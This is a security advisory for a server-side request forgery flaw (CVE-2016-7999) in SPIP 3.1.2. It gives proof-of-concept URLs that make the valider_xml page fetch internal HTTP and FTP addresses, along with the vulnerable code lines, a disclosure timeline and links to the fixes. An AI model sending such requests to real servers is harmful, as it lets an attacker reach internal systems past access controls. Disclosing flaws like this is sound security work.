SPIP 3.1.2 Server Side Request Forgery
Posted on 20 October 2016
## SPIP 3.1.2 Server Side Request Forgery (CVE-2016-7999) ### Product Description SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence. ### Vulnerability Description It's possible to send HTTP/FTP requests using the `valider_xml` file. Attackers can make it look like the server is sending the request, possibly bypassing access controls such as a firewall that would prevent the attacker from accessing the URLs directly. **Access Vector**: remote **Security Risk**: medium **Vulnerability**: CWE-918 **CVSS Base Score**: 5.5 (Medium) **CVE-ID**: CVE-2016-7999 ### Proof of Concept http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=http://router-dev.srv/ http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=ftp://ftp.debian.org/ ### Vulnerable code The FTP connection is initialized by the `is_dir` function inside `valider_xml`, line 79 : if (is_dir($url)) { Other PHP Wrappers supporting `is_dir` can be called using this function. The HTTP connection is initiated at line 123: $res = $transformer_xml(recuperer_page($url)); ### Timeline (dd/mm/yyyy) * 15/09/2016 : Initial discovery * 26/09/2016 : Contact with SPIP Team * 27/09/2016 : Answer from SPIP Team, sent advisory details * 27/09/2016 : Server Side Request Forgery vulnerability correct vulnerabilities. * 30/09/2016 : SPIP 3.1.3 Released ### Fixes * https://core.spip.net/projects/spip/repository/revisions/23188 * https://core.spip.net/projects/spip/repository/revisions/23193 ### Affected versions * Version <= 3.1.2 ### Credits * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com) -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream